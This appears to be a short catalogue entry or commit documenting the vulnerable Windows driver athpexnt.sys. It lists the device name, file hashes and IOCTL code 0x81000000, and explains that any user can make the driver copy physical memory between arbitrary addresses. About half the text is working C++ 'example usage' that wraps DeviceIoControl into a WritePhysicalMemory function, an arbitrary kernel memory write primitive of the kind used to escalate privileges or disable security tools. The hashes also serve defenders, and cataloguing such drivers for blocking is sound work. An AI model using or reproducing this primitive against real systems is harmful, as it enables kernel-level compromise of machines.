Add vulnerable driver athpexnt.sys

[krispybyte]

Driver name: athpexnt.sys
Device name: \\.\ATHpEx
SHA256: fa0902daefbd9e716faaac8e854144ea0573e2a41192796f3b3138fe7a1d19f1
MD5: bf77a19e1396d6d36e32ff8d23eb5d3f

Allows for any user using IOCTL to input a source virtual address, dest virtual address and size, addresses are then translated and physical memory is copied.

Vulnerable function IOCTL Code: 0x81000000

Example usage:

class MemoryWriteIoctlPacket
{
private:
	std::uint64_t Destination;
	std::uint64_t Source;
	std::uint32_t Size;
public:
	MemoryWriteIoctlPacket(const std::uint64_t Dest, const std::uint64_t Src, const std::uint32_t Size)
		: Destination(Dest), Source(Src), Size(Size) { }
};

bool Driver::Athpexnt::WritePhysicalMemory(const void* To, const void* From, const std::uint32_t Size) const
{
    const MemoryWriteIoctlPacket IoctlPacketData(
        reinterpret_cast<std::uint64_t>(To),
        reinterpret_cast<std::uint64_t>(From),
        Size
    );

    std::uint32_t BytesReturned = 0;
    if (!DeviceIoControl(this->DriverHandle,
        0x81000000,
        const_cast<LPVOID>(reinterpret_cast<const void*>(&IoctlPacketData)),
        sizeof(MemoryWriteIoctlPacket),
        nullptr,
        NULL,
        reinterpret_cast<LPDWORD>(&BytesReturned),
        NULL
    ))
    {
        return false;
    }

    return true;
}